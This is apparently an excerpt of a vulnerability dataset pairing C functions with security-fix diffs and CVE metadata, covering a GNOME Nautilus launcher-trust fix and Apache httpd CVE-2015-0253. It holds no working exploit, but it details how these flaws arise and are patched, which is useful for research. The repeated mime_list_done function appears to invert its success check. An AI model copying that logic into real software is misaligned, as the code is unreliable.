(new_length);\n-\n- strcpy (new_contents, TRUSTED_SHEBANG);\n- memcpy (new_contents + strlen (TRUSTED_SHEBANG),\n- contents, length);\n-\n- if (!g_file_replace_contents (file,\n- new_contents,\n- new_length,\n- NULL,\n- FALSE, 0,\n- NULL, cancellable, &error))\n- {\n- g_free (contents);\n- g_free (new_contents);\n-\n- if (interactive)\n- {\n- response = run_error (common,\n- g_strdup (_(\"Unable to mark launcher trusted (executable)\")),\n- error->message,\n- NULL,\n- FALSE,\n- CANCEL, RETRY,\n- NULL);\n- }\n- else\n- {\n- response = 0;\n- }\n-\n- if (response == 0 || response == GTK_RESPONSE_DELETE_EVENT)\n- {\n- abort_job (common);\n- }\n- else if (response == 1)\n- {\n- goto retry;\n- }\n- else\n- {\n- g_assert_not_reached ();\n- }\n-\n- goto out;\n- }\n- g_free (new_contents);\n- }\n- g_free (contents);\n \n+ error = NULL;\n info = g_file_query_info (file,\n G_FILE_ATTRIBUTE_STANDARD_TYPE \",\"\n G_FILE_ATTRIBUTE_UNIX_MODE,\n@@ -8101,10 +8010,10 @@ mark_desktop_file_trusted (CommonJob *common,\n }\n \n static void\n-mark_trusted_task_thread_func (GTask *task,\n- gpointer source_object,\n- gpointer task_data,\n- GCancellable *cancellable)\n+mark_desktop_file_executable_task_thread_func (GTask *task,\n+ gpointer source_object,\n+ gpointer task_data,\n+ GCancellable *cancellable)\n {\n MarkTrustedJob *job = task_data;\n CommonJob *common;\n@@ -8113,18 +8022,18 @@ mark_trusted_task_thread_func (GTask *task,\n \n nautilus_progress_info_start (job->common.progress);\n \n- mark_desktop_file_trusted (common,\n- cancellable,\n- job->file,\n- job->interactive);\n+ mark_desktop_file_executable (common,\n+ cancellable,\n+ job->file,\n+ job->interactive);\n }\n \n void\n-nautilus_file_mark_desktop_file_trusted (GFile *file,\n- GtkWindow *parent_window,\n- gboolean interactive,\n- NautilusOpCallback done_callback,\n- gpointer done_callback_data)\n+nautilus_file_mark_desktop_file_executable (GFile *file,\n+ GtkWindow *parent_window,\n+ gboolean interactive,\n+ NautilusOpCallback done_callback,\n+ gpointer done_callback_data)\n {\n GTask *task;\n MarkTrustedJob *job;\n@@ -8135,9 +8044,9 @@ nautilus_file_mark_desktop_file_trusted (GFile *file,\n job->done_callback = done_callback;\n job->done_callback_data = done_callback_data;\n \n- task = g_task_new (NULL, NULL, mark_trusted_task_done, job);\n+ task = g_task_new (NULL, NULL, mark_desktop_file_executable_task_done, job);\n g_task_set_task_data (task, job, NULL);\n- g_task_run_in_thread (task, mark_trusted_task_thread_func);\n+ g_task_run_in_thread (task, mark_desktop_file_executable_task_thread_func);\n g_object_unref (task);\n }\n "}<_**next**_>{"sha": "a479ee6e0232dad341a282a1771bcdc4a04173dc", "filename": "src/nautilus-file-operations.h", "status": "modified", "additions": 5, "deletions": 5, "changes": 10, "blob_url": "https://github.com/GNOME/nautilus/blob/1630f53481f445ada0a455e9979236d31a8d3bb0/src/nautilus-file-operations.h", "raw_url": "https://github.com/GNOME/nautilus/raw/1630f53481f445ada0a455e9979236d31a8d3bb0/src/nautilus-file-operations.h", "contents_url": "https://api.github.com/repos/GNOME/nautilus/contents/src/nautilus-file-operations.h?ref=1630f53481f445ada0a455e9979236d31a8d3bb0", "patch": "@@ -146,11 +146,11 @@ void nautilus_file_operations_link (GList *files,\n \t\t\t\t\t GtkWindow *parent_window,\n \t\t\t\t\t NautilusCopyCallback done_callback,\n \t\t\t\t\t gpointer done_callback_data);\n-void nautilus_file_mark_desktop_file_trusted (GFile *file,\n-\t\t\t\t\t GtkWindow *parent_window,\n-\t\t\t\t\t gboolean interactive,\n-\t\t\t\t\t NautilusOpCallback done_callback,\n-\t\t\t\t\t gpointer done_callback_data);\n+void nautilus_file_mark_desktop_file_executable (GFile *file,\n+ GtkWindow *parent_window,\n+ gboolean interactive,\n+ NautilusOpCallback done_callback,\n+ gpointer done_callback_data);\n void nautilus_file_operations_extract_files (GList *files,\n GFile *destination_directory,\n GtkWindow *parent_window,"}<_**next**_>{"sha": "bee04e7ca5e3ac45884d9c265f2717d49a3d2f40", "filename": "src/nautilus-metadata.c", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/GNOME/nautilus/blob/1630f53481f445ada0a455e9979236d31a8d3bb0/src/nautilus-metadata.c", "raw_url": "https://github.com/GNOME/nautilus/raw/1630f53481f445ada0a455e9979236d31a8d3bb0/src/nautilus-metadata.c", "contents_url": "https://api.github.com/repos/GNOME/nautilus/contents/src/nautilus-metadata.c?ref=1630f53481f445ada0a455e9979236d31a8d3bb0", "patch": "@@ -51,6 +51,7 @@ static char *used_metadata_names[] =\n NAUTILUS_METADATA_KEY_CUSTOM_ICON_NAME,\n NAUTILUS_METADATA_KEY_SCREEN,\n NAUTILUS_METADATA_KEY_EMBLEMS,\n+ NAUTILUS_METADATA_KEY_DESKTOP_FILE_TRUSTED,\n NULL\n };\n "}<_**next**_>{"sha": "c4a303ec555ecfb1252bb44f7cd8261cfb2faea5", "filename": "src/nautilus-metadata.h", "status": "modified", "additions": 2, "deletions": 0, "changes": 2, "blob_url": "https://github.com/GNOME/nautilus/blob/1630f53481f445ada0a455e9979236d31a8d3bb0/src/nautilus-metadata.h", "raw_url": "https://github.com/GNOME/nautilus/raw/1630f53481f445ada0a455e9979236d31a8d3bb0/src/nautilus-metadata.h", "contents_url": "https://api.github.com/repos/GNOME/nautilus/contents/src/nautilus-metadata.h?ref=1630f53481f445ada0a455e9979236d31a8d3bb0", "patch": "@@ -67,6 +67,8 @@\n #define NAUTILUS_METADATA_KEY_SCREEN\t\t\t\t\"screen\"\n #define NAUTILUS_METADATA_KEY_EMBLEMS\t\t\t\t\"emblems\"\n \n+#define NAUTILUS_METADATA_KEY_DESKTOP_FILE_TRUSTED\t\t\t\t\"trusted\"\n+\n guint nautilus_metadata_get_id (const char *metadata);\n \n #endif /* NAUTILUS_METADATA_H */"}<_**next**_>{"sha": "14fe44bc39a40cfd3faf7119206145ed9968162f", "filename": "src/nautilus-mime-actions.c", "status": "modified", "additions": 28, "deletions": 18, "changes": 46, "blob_url": "https://github.com/GNOME/nautilus/blob/1630f53481f445ada0a455e9979236d31a8d3bb0/src/nautilus-mime-actions.c", "raw_url": "https://github.com/GNOME/nautilus/raw/1630f53481f445ada0a455e9979236d31a8d3bb0/src/nautilus-mime-actions.c", "contents_url": "https://api.github.com/repos/GNOME/nautilus/contents/src/nautilus-mime-actions.c?ref=1630f53481f445ada0a455e9979236d31a8d3bb0", "patch": "@@ -42,6 +42,7 @@\n #include \"nautilus-program-choosing.h\"\n #include \"nautilus-global-preferences.h\"\n #include \"nautilus-signaller.h\"\n+#include \"nautilus-metadata.h\"\n \n #define DEBUG_FLAG NAUTILUS_DEBUG_MIME\n #include \"nautilus-debug.h\"\n@@ -221,7 +222,6 @@ struct\n #define RESPONSE_RUN 1000\n #define RESPONSE_DISPLAY 1001\n #define RESPONSE_RUN_IN_TERMINAL 1002\n-#define RESPONSE_MARK_TRUSTED 1003\n \n #define SILENT_WINDOW_OPEN_LIMIT 5\n #define SILENT_OPEN_LIMIT 5\n@@ -1517,24 +1517,35 @@ untrusted_launcher_response_callback (GtkDialog *dialog,\n \n switch (response_id)\n {\n- case RESPONSE_RUN:\n+ case GTK_RESPONSE_OK:\n {\n+ file = nautilus_file_get_location (parameters->file);\n+\n+ /* We need to do this in order to prevent malicious desktop files\n+ * with the executable bit already set.\n+ * See https://bugzilla.gnome.org/show_bug.cgi?id=777991\n+ */\n+ nautilus_file_set_metadata (parameters->file, NAUTILUS_METADATA_KEY_DESKTOP_FILE_TRUSTED,\n+ NULL,\n+ \"yes\");\n+\n+ nautilus_file_mark_desktop_file_executable (file,\n+ parameters->parent_window,\n+ TRUE,\n+ NULL, NULL);\n+\n+ /* Need to force a reload of the attributes so is_trusted is marked\n+ * correctly. Not sure why the general monitor doesn't fire in this\n+ * case when setting the metadata\n+ */\n+ nautilus_file_invalidate_all_attributes (parameters->file);\n+\n screen = gtk_widget_get_screen (GTK_WIDGET (parameters->parent_window));\n uri = nautilus_file_get_uri (parameters->file);\n DEBUG (\"Launching untrusted launcher %s\", uri);\n nautilus_launch_desktop_file (screen, uri, NULL,\n parameters->parent_window);\n g_free (uri);\n- }\n- break;\n-\n- case RESPONSE_MARK_TRUSTED:\n- {\n- file = nautilus_file_get_location (parameters->file);\n- nautilus_file_mark_desktop_file_trusted (file,\n- parameters->parent_window,\n- TRUE,\n- NULL, NULL);\n g_object_unref (file);\n }\n break;\n@@ -1590,17 +1601,16 @@ activate_desktop_file (ActivateParameters *parameters,\n \"text\", primary,\n \"secondary-text\", secondary,\n NULL);\n+\n gtk_dialog_add_button (GTK_DIALOG (dialog),\n- _(\"_Launch Anyway\"), RESPONSE_RUN);\n+ _(\"_Cancel\"), GTK_RESPONSE_CANCEL);\n+\n+ gtk_dialog_set_default_response (GTK_DIALOG (dialog), GTK_RESPONSE_CANCEL);\n if (nautilus_file_can_set_permissions (file))\n {\n gtk_dialog_add_button (GTK_DIALOG (dialog),\n- _(\"Mark as _Trusted\"), RESPONSE_MARK_TRUSTED);\n+ _(\"Trust and _Launch\"), GTK_RESPONSE_OK);\n }\n- gtk_dialog_add_button (GTK_DIALOG (dialog),\n- _(\"_Cancel\"), GTK_RESPONSE_CANCEL);\n- gtk_dialog_set_default_response (GTK_DIALOG (dialog), GTK_RESPONSE_CANCEL);\n-\n g_signal_connect (dialog, \"response\",\n G_CALLBACK (untrusted_launcher_response_callback),\n parameters_desktop);"}
|
mime_list_done (MimeListState *state,
gboolean success)
{
NautilusFile *file;
NautilusDirectory *directory;
directory = state->directory;
g_assert (directory != NULL);
file = state->mime_list_file;
file->details->mime_list_is_up_to_date = TRUE;
g_list_free_full (file->details->mime_list, g_free);
if (success)
{
file->details->mime_list_failed = TRUE;
file->details->mime_list = NULL;
}
else
{
file->details->got_mime_list = TRUE;
file->details->mime_list = istr_set_get_as_list (state->mime_list_hash);
}
directory->details->mime_list_in_progress = NULL;
/* Send file-changed even if getting the item type list
* failed, so interested parties can distinguish between
* unknowable and not-yet-known cases.
*/
nautilus_file_changed (file);
/* Start up the next one. */
async_job_end (directory, "MIME list");
nautilus_directory_async_state_changed (directory);
}
|
mime_list_done (MimeListState *state,
gboolean success)
{
NautilusFile *file;
NautilusDirectory *directory;
directory = state->directory;
g_assert (directory != NULL);
file = state->mime_list_file;
file->details->mime_list_is_up_to_date = TRUE;
g_list_free_full (file->details->mime_list, g_free);
if (success)
{
file->details->mime_list_failed = TRUE;
file->details->mime_list = NULL;
}
else
{
file->details->got_mime_list = TRUE;
file->details->mime_list = istr_set_get_as_list (state->mime_list_hash);
}
directory->details->mime_list_in_progress = NULL;
/* Send file-changed even if getting the item type list
* failed, so interested parties can distinguish between
* unknowable and not-yet-known cases.
*/
nautilus_file_changed (file);
/* Start up the next one. */
async_job_end (directory, "MIME list");
nautilus_directory_async_state_changed (directory);
}
|
C
| null | null | null |
@@ -30,6 +30,7 @@
#include "nautilus-global-preferences.h"
#include "nautilus-link.h"
#include "nautilus-profile.h"
+#include "nautilus-metadata.h"
#include <eel/eel-glib-extensions.h>
#include <gtk/gtk.h>
#include <libxml/parser.h>
@@ -3580,13 +3581,17 @@ is_link_trusted (NautilusFile *file,
{
GFile *location;
gboolean res;
+ g_autofree gchar* trusted = NULL;
if (!is_launcher)
{
return TRUE;
}
- if (nautilus_file_can_execute (file))
+ trusted = nautilus_file_get_metadata (file,
+ NAUTILUS_METADATA_KEY_DESKTOP_FILE_TRUSTED,
+ NULL);
+ if (nautilus_file_can_execute (file) && trusted != NULL)
{
return TRUE;
}
|
nautilus
|
1630f53481f445ada0a455e9979236d31a8d3bb0
|
cc6910ff6511a5a2939cf36a49ca81fb62005382
| 0
|
mime_list_done (MimeListState *state,
gboolean success)
{
NautilusFile *file;
NautilusDirectory *directory;
directory = state->directory;
g_assert (directory != NULL);
file = state->mime_list_file;
file->details->mime_list_is_up_to_date = TRUE;
g_list_free_full (file->details->mime_list, g_free);
if (success)
{
file->details->mime_list_failed = TRUE;
file->details->mime_list = NULL;
}
else
{
file->details->got_mime_list = TRUE;
file->details->mime_list = istr_set_get_as_list (state->mime_list_hash);
}
directory->details->mime_list_in_progress = NULL;
/* Send file-changed even if getting the item type list
* failed, so interested parties can distinguish between
* unknowable and not-yet-known cases.
*/
nautilus_file_changed (file);
/* Start up the next one. */
async_job_end (directory, "MIME list");
nautilus_directory_async_state_changed (directory);
}
|
44,986
| null |
Remote
|
Not required
|
Partial
|
CVE-2015-0253
|
https://www.cvedetails.com/cve/CVE-2015-0253/
| null |
Low
| null | null | null |
2015-07-20
| 5
|
The read_request_line function in server/protocol.c in the Apache HTTP Server 2.4.12 does not initialize the protocol structure member, which allows remote attackers to cause a denial of service (NULL pointer dereference and process crash) by sending a request that lacks a method to an installation that enables the INCLUDES filter and has an ErrorDocument 400 directive specifying a local URI.
|
2018-01-04
|
DoS
| 0
|
https://github.com/apache/httpd/commit/6a974059190b8a0c7e499f4ab12fe108127099cb
|
6a974059190b8a0c7e499f4ab12fe108127099cb
|
*) SECURITY: CVE-2015-0253 (cve.mitre.org)
core: Fix a crash introduced in with ErrorDocument 400 pointing
to a local URL-path with the INCLUDES filter active, introduced
in 2.4.11. PR 57531. [Yann Ylavic]
Submitted By: ylavic
Committed By: covener
git-svn-id: https://svn.apache.org/repos/asf/httpd/httpd/trunk@1664205 13f79535-47bb-0310-9956-ffa450edef68
| 0
|
server/protocol.c
|
{"sha": "064446d61118e9c799c51eb7105df54d7040af87", "filename": "CHANGES", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/apache/httpd/blob/6a974059190b8a0c7e499f4ab12fe108127099cb/CHANGES", "raw_url": "https://github.com/apache/httpd/raw/6a974059190b8a0c7e499f4ab12fe108127099cb/CHANGES", "contents_url": "https://api.github.com/repos/apache/httpd/contents/CHANGES?ref=6a974059190b8a0c7e499f4ab12fe108127099cb", "patch": "@@ -1,6 +1,11 @@\n -*- coding: utf-8 -*-\n Changes with Apache 2.5.0\n \n+ *) SECURITY: CVE-2015-0253 (cve.mitre.org)\n+ core: Fix a crash introduced in with ErrorDocument 400 pointing\n+ to a local URL-path with the INCLUDES filter active, introduced\n+ in 2.4.11. PR 57531. [Yann Ylavic]\n+\n *) core: If explicitly configured, use the KeepaliveTimeout value of the\n virtual host which handled the latest request on the connection, or by\n default the one of the first virtual host bound to the same IP:port."}<_**next**_>{"sha": "cfa625a5199097d108187f004eec8ff9a20d93c6", "filename": "server/protocol.c", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/apache/httpd/blob/6a974059190b8a0c7e499f4ab12fe108127099cb/server/protocol.c", "raw_url": "https://github.com/apache/httpd/raw/6a974059190b8a0c7e499f4ab12fe108127099cb/server/protocol.c", "contents_url": "https://api.github.com/repos/apache/httpd/contents/server/protocol.c?ref=6a974059190b8a0c7e499f4ab12fe108127099cb", "patch": "@@ -606,15 +606,15 @@ static int read_request_line(request_rec *r, apr_bucket_brigade *bb)\n */\n if (APR_STATUS_IS_ENOSPC(rv)) {\n r->status = HTTP_REQUEST_URI_TOO_LARGE;\n- r->proto_num = HTTP_VERSION(1,0);\n- r->protocol = apr_pstrdup(r->pool, \"HTTP/1.0\");\n }\n else if (APR_STATUS_IS_TIMEUP(rv)) {\n r->status = HTTP_REQUEST_TIME_OUT;\n }\n else if (APR_STATUS_IS_EINVAL(rv)) {\n r->status = HTTP_BAD_REQUEST;\n }\n+ r->proto_num = HTTP_VERSION(1,0);\n+ r->protocol = apr_pstrdup(r->pool, \"HTTP/1.0\");\n return 0;\n }\n } while ((len <= 0) && (++num_blank_lines < max_blank_lines));"}
|
AP_DECLARE(void) ap_get_mime_headers_core(request_rec *r, apr_bucket_brigade *bb)
{
char *last_field = NULL;
apr_size_t last_len = 0;
apr_size_t alloc_len = 0;
char *field;
char *value;
apr_size_t len;
int fields_read = 0;
char *tmp_field;
core_server_config *conf = ap_get_core_module_config(r->server->module_config);
/*
* Read header lines until we get the empty separator line, a read error,
* the connection closes (EOF), reach the server limit, or we timeout.
*/
while(1) {
apr_status_t rv;
int folded = 0;
field = NULL;
rv = ap_rgetline(&field, r->server->limit_req_fieldsize + 2,
&len, r, 0, bb);
if (rv != APR_SUCCESS) {
if (APR_STATUS_IS_TIMEUP(rv)) {
r->status = HTTP_REQUEST_TIME_OUT;
}
else {
r->status = HTTP_BAD_REQUEST;
}
/* ap_rgetline returns APR_ENOSPC if it fills up the buffer before
* finding the end-of-line. This is only going to happen if it
* exceeds the configured limit for a field size.
*/
if (rv == APR_ENOSPC) {
const char *field_escaped;
if (field) {
/* ensure ap_escape_html will terminate correctly */
field[len - 1] = '\0';
field_escaped = ap_escape_html(r->pool, field);
}
else {
field_escaped = field = "";
}
apr_table_setn(r->notes, "error-notes",
apr_psprintf(r->pool,
"Size of a request header field "
"exceeds server limit.<br />\n"
"<pre>\n%.*s\n</pre>\n",
field_name_len(field_escaped),
field_escaped));
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00561)
"Request header exceeds LimitRequestFieldSize%s"
"%.*s",
*field ? ": " : "",
field_name_len(field), field);
}
return;
}
if (last_field != NULL) {
if ((len > 0) && ((*field == '\t') || *field == ' ')) {
/* This line is a continuation of the preceding line(s),
* so append it to the line that we've set aside.
* Note: this uses a power-of-two allocator to avoid
* doing O(n) allocs and using O(n^2) space for
* continuations that span many many lines.
*/
apr_size_t fold_len = last_len + len + 1; /* trailing null */
if (fold_len >= (apr_size_t)(r->server->limit_req_fieldsize)) {
r->status = HTTP_BAD_REQUEST;
/* report what we have accumulated so far before the
* overflow (last_field) as the field with the problem
*/
apr_table_setn(r->notes, "error-notes",
apr_psprintf(r->pool,
"Size of a request header field "
"after folding "
"exceeds server limit.<br />\n"
"<pre>\n%.*s\n</pre>\n",
field_name_len(last_field),
ap_escape_html(r->pool, last_field)));
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00562)
"Request header exceeds LimitRequestFieldSize "
"after folding: %.*s",
field_name_len(last_field), last_field);
return;
}
if (fold_len > alloc_len) {
char *fold_buf;
alloc_len += alloc_len;
if (fold_len > alloc_len) {
alloc_len = fold_len;
}
fold_buf = (char *)apr_palloc(r->pool, alloc_len);
memcpy(fold_buf, last_field, last_len);
last_field = fold_buf;
}
memcpy(last_field + last_len, field, len +1); /* +1 for nul */
last_len += len;
folded = 1;
}
else /* not a continuation line */ {
if (r->server->limit_req_fields
&& (++fields_read > r->server->limit_req_fields)) {
r->status = HTTP_BAD_REQUEST;
apr_table_setn(r->notes, "error-notes",
"The number of request header fields "
"exceeds this server's limit.");
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00563)
"Number of request headers exceeds "
"LimitRequestFields");
return;
}
if (!(value = strchr(last_field, ':'))) { /* Find ':' or */
r->status = HTTP_BAD_REQUEST; /* abort bad request */
apr_table_setn(r->notes, "error-notes",
apr_psprintf(r->pool,
"Request header field is "
"missing ':' separator.<br />\n"
"<pre>\n%.*s</pre>\n",
(int)LOG_NAME_MAX_LEN,
ap_escape_html(r->pool,
last_field)));
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00564)
"Request header field is missing ':' "
"separator: %.*s", (int)LOG_NAME_MAX_LEN,
last_field);
return;
}
tmp_field = value - 1; /* last character of field-name */
*value++ = '\0'; /* NUL-terminate at colon */
while (*value == ' ' || *value == '\t') {
++value; /* Skip to start of value */
}
/* Strip LWS after field-name: */
while (tmp_field > last_field
&& (*tmp_field == ' ' || *tmp_field == '\t')) {
*tmp_field-- = '\0';
}
/* Strip LWS after field-value: */
tmp_field = last_field + last_len - 1;
while (tmp_field > value
&& (*tmp_field == ' ' || *tmp_field == '\t')) {
*tmp_field-- = '\0';
}
if (conf->http_conformance & AP_HTTP_CONFORMANCE_STRICT) {
int err = 0;
if (*last_field == '\0') {
err = HTTP_BAD_REQUEST;
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(02425)
"Empty request header field name not allowed");
}
else if (ap_has_cntrl(last_field)) {
err = HTTP_BAD_REQUEST;
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(02426)
"[HTTP strict] Request header field name contains "
"control character: %.*s",
(int)LOG_NAME_MAX_LEN, last_field);
}
else if (ap_has_cntrl(value)) {
err = HTTP_BAD_REQUEST;
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(02427)
"Request header field '%.*s' contains "
"control character", (int)LOG_NAME_MAX_LEN,
last_field);
}
if (err && !(conf->http_conformance & AP_HTTP_CONFORMANCE_LOGONLY)) {
r->status = err;
return;
}
}
apr_table_addn(r->headers_in, last_field, value);
/* reset the alloc_len so that we'll allocate a new
* buffer if we have to do any more folding: we can't
* use the previous buffer because its contents are
* now part of r->headers_in
*/
alloc_len = 0;
} /* end if current line is not a continuation starting with tab */
}
/* Found a blank line, stop. */
if (len == 0) {
break;
}
/* Keep track of this line so that we can parse it on
* the next loop iteration. (In the folded case, last_field
* has been updated already.)
*/
if (!folded) {
last_field = field;
last_len = len;
}
}
/* Combine multiple message-header fields with the same
* field-name, following RFC 2616, 4.2.
*/
apr_table_compress(r->headers_in, APR_OVERLAP_TABLES_MERGE);
/* enforce LimitRequestFieldSize for merged headers */
apr_table_do(table_do_fn_check_lengths, r, r->headers_in, NULL);
}
|
AP_DECLARE(void) ap_get_mime_headers_core(request_rec *r, apr_bucket_brigade *bb)
{
char *last_field = NULL;
apr_size_t last_len = 0;
apr_size_t alloc_len = 0;
char *field;
char *value;
apr_size_t len;
int fields_read = 0;
char *tmp_field;
core_server_config *conf = ap_get_core_module_config(r->server->module_config);
/*
* Read header lines until we get the empty separator line, a read error,
* the connection closes (EOF), reach the server limit, or we timeout.
*/
while(1) {
apr_status_t rv;
int folded = 0;
field = NULL;
rv = ap_rgetline(&field, r->server->limit_req_fieldsize + 2,
&len, r, 0, bb);
if (rv != APR_SUCCESS) {
if (APR_STATUS_IS_TIMEUP(rv)) {
r->status = HTTP_REQUEST_TIME_OUT;
}
else {
r->status = HTTP_BAD_REQUEST;
}
/* ap_rgetline returns APR_ENOSPC if it fills up the buffer before
* finding the end-of-line. This is only going to happen if it
* exceeds the configured limit for a field size.
*/
if (rv == APR_ENOSPC) {
const char *field_escaped;
if (field) {
/* ensure ap_escape_html will terminate correctly */
field[len - 1] = '\0';
field_escaped = ap_escape_html(r->pool, field);
}
else {
field_escaped = field = "";
}
apr_table_setn(r->notes, "error-notes",
apr_psprintf(r->pool,
"Size of a request header field "
"exceeds server limit.<br />\n"
"<pre>\n%.*s\n</pre>\n",
field_name_len(field_escaped),
field_escaped));
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00561)
"Request header exceeds LimitRequestFieldSize%s"
"%.*s",
*field ? ": " : "",
field_name_len(field), field);
}
return;
}
if (last_field != NULL) {
if ((len > 0) && ((*field == '\t') || *field == ' ')) {
/* This line is a continuation of the preceding line(s),
* so append it to the line that we've set aside.
* Note: this uses a power-of-two allocator to avoid
* doing O(n) allocs and using O(n^2) space for
* continuations that span many many lines.
*/
apr_size_t fold_len = last_len + len + 1; /* trailing null */
if (fold_len >= (apr_size_t)(r->server->limit_req_fieldsize)) {
r->status = HTTP_BAD_REQUEST;
/* report what we have accumulated so far before the
* overflow (last_field) as the field with the problem
*/
apr_table_setn(r->notes, "error-notes",
apr_psprintf(r->pool,
"Size of a request header field "
"after folding "
"exceeds server limit.<br />\n"
"<pre>\n%.*s\n</pre>\n",
field_name_len(last_field),
ap_escape_html(r->pool, last_field)));
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00562)
"Request header exceeds LimitRequestFieldSize "
"after folding: %.*s",
field_name_len(last_field), last_field);
return;
}
if (fold_len > alloc_len) {
char *fold_buf;
alloc_len += alloc_len;
if (fold_len > alloc_len) {
alloc_len = fold_len;
}
fold_buf = (char *)apr_palloc(r->pool, alloc_len);
memcpy(fold_buf, last_field, last_len);
last_field = fold_buf;
}
memcpy(last_field + last_len, field, len +1); /* +1 for nul */
last_len += len;
folded = 1;
}
else /* not a continuation line */ {
if (r->server->limit_req_fields
&& (++fields_read > r->server->limit_req_fields)) {
r->status = HTTP_BAD_REQUEST;
apr_table_setn(r->notes, "error-notes",
"The number of request header fields "
"exceeds this server's limit.");
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00563)
"Number of request headers exceeds "
"LimitRequestFields");
return;
}
if (!(value = strchr(last_field, ':'))) { /* Find ':' or */
r->status = HTTP_BAD_REQUEST; /* abort bad request */
apr_table_setn(r->notes, "error-notes",
apr_psprintf(r->pool,
"Request header field is "
"missing ':' separator.<br />\n"
"<pre>\n%.*s</pre>\n",
(int)LOG_NAME_MAX_LEN,
ap_escape_html(r->pool,
last_field)));
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00564)
"Request header field is missing ':' "
"separator: %.*s", (int)LOG_NAME_MAX_LEN,
last_field);
return;
}
tmp_field = value - 1; /* last character of field-name */
*value++ = '\0'; /* NUL-terminate at colon */
while (*value == ' ' || *value == '\t') {
++value; /* Skip to start of value */
}
/* Strip LWS after field-name: */
while (tmp_field > last_field
&& (*tmp_field == ' ' || *tmp_field == '\t')) {
*tmp_field-- = '\0';
}
/* Strip LWS after field-value: */
tmp_field = last_field + last_len - 1;
while (tmp_field > value
&& (*tmp_field == ' ' || *tmp_field == '\t')) {
*tmp_field-- = '\0';
}
if (conf->http_conformance & AP_HTTP_CONFORMANCE_STRICT) {
int err = 0;
if (*last_field == '\0') {
err = HTTP_BAD_REQUEST;
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(02425)
"Empty request header field name not allowed");
}
else if (ap_has_cntrl(last_field)) {
err = HTTP_BAD_REQUEST;
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(02426)
"[HTTP strict] Request header field name contains "
"control character: %.*s",
(int)LOG_NAME_MAX_LEN, last_field);
}
else if (ap_has_cntrl(value)) {
err = HTTP_BAD_REQUEST;
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(02427)
"Request header field '%.*s' contains "
"control character", (int)LOG_NAME_MAX_LEN,
last_field);
}
if (err && !(conf->http_conformance & AP_HTTP_CONFORMANCE_LOGONLY)) {
r->status = err;
return;
}
}
apr_table_addn(r->headers_in, last_field, value);
/* reset the alloc_len so that we'll allocate a new
* buffer if we have to do any more folding: we can't
* use the previous buffer because its contents are
* now part of r->headers_in
*/
alloc_len = 0;
} /* end if current line is not a continuation starting with tab */
}
/* Found a blank line, stop. */
if (len == 0) {
break;
}
/* Keep track of this line so that we can parse it on
* the next loop iteration. (In the folded case, last_field
* has been updated already.)
*/
if (!folded) {
last_field = field;
last_len = len;
}
}
/* Combine multiple message-header fields with the same
* field-name, following RFC 2616, 4.2.
*/
apr_table_compress(r->headers_in, APR_OVERLAP_TABLES_MERGE);
/* enforce LimitRequestFieldSize for merged headers */
apr_table_do(table_do_fn_check_lengths, r, r->headers_in, NULL);
}
|
C
| null | null | null |
@@ -606,15 +606,15 @@ static int read_request_line(request_rec *r, apr_bucket_brigade *bb)
*/
if (APR_STATUS_IS_ENOSPC(rv)) {
r->status = HTTP_REQUEST_URI_TOO_LARGE;
- r->proto_num = HTTP_VERSION(1,0);
- r->protocol = apr_pstrdup(r->pool, "HTTP/1.0");
}
else if (APR_STATUS_IS_TIMEUP(rv)) {
r->status = HTTP_REQUEST_TIME_OUT;
}
else if (APR_STATUS_IS_EINVAL(rv)) {
r->status = HTTP_BAD_REQUEST;
}
+ r->proto_num = HTTP_VERSION(1,0);
+ r->protocol = apr_pstrdup(r->pool, "HTTP/1.0");
return 0;
}
} while ((len <= 0) && (++num_blank_lines < max_blank_lines));
|
httpd
|
6a974059190b8a0c7e499f4ab12fe108127099cb
|
1fd42eb6471263a49b7a452b642163c111ce09f8
| 0
|
AP_DECLARE(void) ap_get_mime_headers_core(request_rec *r, apr_bucket_brigade *bb)
{
char *last_field = NULL;
apr_size_t last_len = 0;
apr_size_t alloc_len = 0;
char *field;
char *value;
apr_size_t len;
int fields_read = 0;
char *tmp_field;
core_server_config *conf = ap_get_core_module_config(r->server->module_config);
/*
* Read header lines until we get the empty separator line, a read error,
* the connection closes (EOF), reach the server limit, or we timeout.
*/
while(1) {
apr_status_t rv;
int folded = 0;
field = NULL;
rv = ap_rgetline(&field, r->server->limit_req_fieldsize + 2,
&len, r, 0, bb);
if (rv != APR_SUCCESS) {
if (APR_STATUS_IS_TIMEUP(rv)) {
r->status = HTTP_REQUEST_TIME_OUT;
}
else {
r->status = HTTP_BAD_REQUEST;
}
/* ap_rgetline returns APR_ENOSPC if it fills up the buffer before
* finding the end-of-line. This is only going to happen if it
* exceeds the configured limit for a field size.
*/
if (rv == APR_ENOSPC) {
const char *field_escaped;
if (field) {
/* ensure ap_escape_html will terminate correctly */
field[len - 1] = '\0';
field_escaped = ap_escape_html(r->pool, field);
}
else {
field_escaped = field = "";
}
apr_table_setn(r->notes, "error-notes",
apr_psprintf(r->pool,
"Size of a request header field "
"exceeds server limit.<br />\n"
"<pre>\n%.*s\n</pre>\n",
field_name_len(field_escaped),
field_escaped));
ap_log_rerror(APLOG_MARK, APLOG_INFO, 0, r, APLOGNO(00561)
"Request header exceeds LimitRequestFieldSize%s"
"%.*s",
*field ? ": " : "",
field_name_len(field), field);
}
return;
}
if (last_field != NULL) {
if ((len > 0) && ((*field == '\t') || *field == ' ')) {
/* This line is a continuation of the preceding line(s),
